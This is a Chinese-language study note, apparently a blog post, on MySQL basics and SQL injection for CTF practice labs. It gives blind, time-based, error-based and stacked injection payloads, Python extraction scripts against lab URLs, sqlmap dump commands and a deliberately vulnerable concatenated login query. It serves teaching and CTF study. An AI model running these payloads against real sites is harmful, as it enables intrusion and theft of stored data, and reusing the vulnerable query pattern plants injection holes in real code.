SQL相关知识 & CTF SQL注入做题方法总结

发布于:2025-08-31 ⋅ 阅读:(20) ⋅ 点赞:(0)

SQL

MySQL基础
MySQL基本操作

1.查询本地所有数据库: show databases;

2.使用数据库:use 数据库名;

3.查看当前使用的数据库名:select database();

4.查看当前使用的数据库的所有表:show tables;

5.查看数据库版本:select version();

6.查看使用当前数据库的用户:select user();

7.查看数据库存储路径:select @@datadir;

8.查看MySQL的安装路径:select @@basedir;

9.查看安装数据库的操作系统:select @@version_compile_os;

常用操作

1.查询 :select

Select 字段列表 from 表名 where 条件 ;

2.修改:update

Update 表名 set 字段=值 where 条件;

3.删除:delete

Delete from 表名 where 条件;

4.增加:create

Create [database|table] name ·······;

information_schema

1.information_schema , 是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库表,表栏的数据类型和访问权限等。

2.Web渗透过程中用途很大

3.SCHEMATA表:提供了当前MySQL实例中所有数据库的信息。

4.TABLES表:提供了关于数据库中的表的信息。

5.COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。

SQL注入

原理

动态交互网站,实现交互利用用户输入拼接到SQL语句执行。用户输入内容没有经过完美处理,并且直接将用户构造的SQL语句带入执行,导致SQL注入漏洞。

$sql = 'select " + username + "from users limit 0,1';

常见类型
1.数字型注入
 and 1=1 回显正常
 and 1=2 返回异常,存在数字型注入可能
2.字符型注入
1 返回正常
1' 返回异常,存在字符型注入可能
[极客大挑战 2019]EasySQL
3.联合查询
union select
​
[极客大挑战 2019]LoveSQL
4.盲注
·布尔盲注 特点:以页面回显的内容的不同作为判定依据。
布尔盲注只会回显 True和 False两种情况。
利用下列函数,写脚本得到flag
length() 返回字符串的长度
left(a,b)     从左侧截取a的前b位
mid(a,b,c) 从位置b开始,截取a字符串的c位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
ascii()       将某个字符转换为ascii值
char()        将ASCII码转换为对应的字符
​
​
less-5:
因为页面只返回yes或no,不返回数据库中的数据,所以我们这里肯定是不能使用union注入的
length(database())>=1,判断当前数据库长度是否>=1,正确输出1,错误输出0
substr(database(),1,1)='s',判断当前数据库的第一个字母是否为s,正确输出1,错误输出0,substr的作用是截取长度
ord(substr(database(),1,1))=115,转ASCII码判断,正确输出1,错误输出0
substr((select table_name from information_schema.tables where table_schema='A' limit 0,1),1,1)='e',判断A库下面第一张表的第一个字母是否为e,正确输出1,错误输出0
substr((select column_name from information_schema.tables where table_name='B' limit 0,1),1,1)='e',判断B表下面的第一个字段的第一个字母是否为e,正确输出1,错误输出0
substr((select C from A.B limit 0,1),1,1)='e',判断C字段下面的第一个值的第一个字母是否为e,正确输出1,错误输出0
​
猜解第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+
​
​
[CISCN2019 华北赛区 Day2 Web1]Hack World
````
# 布尔盲注
​
import requests
​
url = 'http://snert.com.cn:10004/Less-5/'
db_len = 1
db_name = ''
# 猜解数据库名的长度
# for i in range(30):
#     payload = f"?id=1' and length(database())={i}--+"
#     res = requests.get(url+payload)
#     if "You are in" in res.text:
#         db_len = i
#         break
# print(f"数据库名的长度: {db_len}")
# #
# # 猜解数据库名
# for i in range(db_len+1):
#     for j in range(1,128):
#         payload = f"?id=1' and ascii(mid(database(),{i},1))={j}--+"
#         r = requests.get(url+payload)
#         if "You are in" in r.text:
#             db_name += chr(j)
#             print(db_name)
#         else:
#             continue
# print(f"数据库名:{db_name}")
#
# 猜解数据库的表名
table_name = ''
​
for i in range(1,20):
    for j in range(1,128):
        payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),{i},1))={j}--+"
        r = requests.get(url+payload)
        if "You are in" in r.text:
            table_name += chr(j)
            print(table_name)
        else:
            continue
​
````
·时间盲注 特点:以回显的时间长短作为判断依据。
时间盲注 
    在页面没有任何正确或错误回显的情况下,用时间函数构造时间延后,由回显时间来获取数据,主要是利用sleep函数让sql语句的执行时间变长,常与if(1,2,3)函数连用如果1执行为ture则返回2,否则返回3.
​
if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
sleep(n)      将程序挂起一段时间 n单位为秒
​
​
爆破数据库
​
?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
​
爆破表名
​
?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
​
爆破内容
​
?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
​
​
start_time = time.time()
re =requests.get(payload).text
end_time = time.time()
use_time =end_time-start_time
时间盲注脚本
import time
​
import requests
​
url='http://snert.com.cn:10004/Less-8/?id='
​
table = ""
for i in range(1,100):
    # time.sleep(1)
    left = 32
    right = 128
    mid = (left+right)//2
    while left<right:
        payload  = url+f"1' and if ( ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))>{mid} ,sleep(2),0)--+"
        # print(payload)
        start_time = time.time()
        re =requests.get(payload).text
        end_time = time.time()
        use_time =end_time-start_time
​
        if use_time >2:
            # print("ok")
            left = mid+1
        else:
            right=mid
        mid = (left + right) // 2
    # print(mid)
    table+=chr(mid)
    print(table)
5.报错注入
判断注入
当场景中仅仅将SQL语句带入查询返回页面正确,没有返回点的时候,需要报错注入,用报错的回显
​
三种方法: extractvalue()  updatexml()  floor()
0x7e就是~用来区分数据
concat()函数
  1.功能:将多个字符串连接成一个字符串。
  2.语法:concat(str1,str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
​
updatexml注入
首先了解下updatexml()函数,作用是改变文档中符合条件的节点的值
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
​
报错原因:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了
​
报错注入语句格式: 
?id=1 and extractvalue(null,concat(0x7e,(sql语句),0x7e))
1 and updatexml(1,concat(0x7e,database(),0x7e),1)
1 union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x
​
floor()原理:
floor函数的作用就是返回小于等于括号内该值的最大整数。
利用 select count(*),floor(rand(0)*2) x from information_schema.character_sets group by x
导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。
1.爆数据库:
?id=1 and extractvalue(null,concat(0x7e,(database()),0x7e))
?id=1 and updatexml(1,concat(0x7e,(database()),0x7e),1)
?id=1 union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x
2.爆数据库表:
?id=1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))
?id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)
?id=1 union select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema='sqli' limit 0,1)) x from information_schema.schemata group by x
3.爆数据库字段:
?id=1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))
?id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e),1)
?id=1 union select count(*),concat(floor(rand(0)*2),(select concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)) x from information_schema.schemata group by x
4.获取flag:
?id=1 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e))
?id=1 and updatexml(1,concat(0x7e,mid((select flag from flag),4),0x7e),1)
?id=1 union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(flag) from sqli.flag limit 0,1)) x from information_schema.schemata group by x
​
[极客大挑战 2019]HardSQL
6.堆叠注入
代码示例:
def login(username, password):
    query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
    # 执行查询并验证用户登录信息
    ...
    
PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字(hello)供之后调用
​
EXECUTE:执行命令
​
DEALLOCATE PREPARE:释放命令
​
SET:用于设置变量(@a)
    
[强网杯 2019]随便注
[SUCTF 2019]EasySQL
常见绕过

SQL注入技巧与绕过方法-CSDN博客

SQLmap

借助 sqlmap 我们可以通过简单的参数自动完成漏洞的利用,既不用记过多的 SQL 语句,也会更加高效。 (1)使用 --dbs 参数获取数据库名称(注意:这里需要 sudo,否则无法访问 docker 容器中的网站),示例命令如下

./sqlmap.py -u "http://localhost/Less-2/?id=1" --dbs (2)使用 --current-db 参数获取当前数据库,示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?" --current-db (3)使用 --tables 参数枚举表名,示例命令如下 :

./sqlmap.py -u "http://localhost/Less-2/?id=1" --tables -D 'security' (4)使用 --columns 参数枚举字段名,示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?id=1" --columns -T "users" -D "security" (5)使用 --dump 参数批量获取字段值,示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump -C "id,password,username" -T "users" -D "security" (6)使用 --dump-all 参数导出整个数据库。

GET: ./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump-all

POST: sqlmap -r 1.txt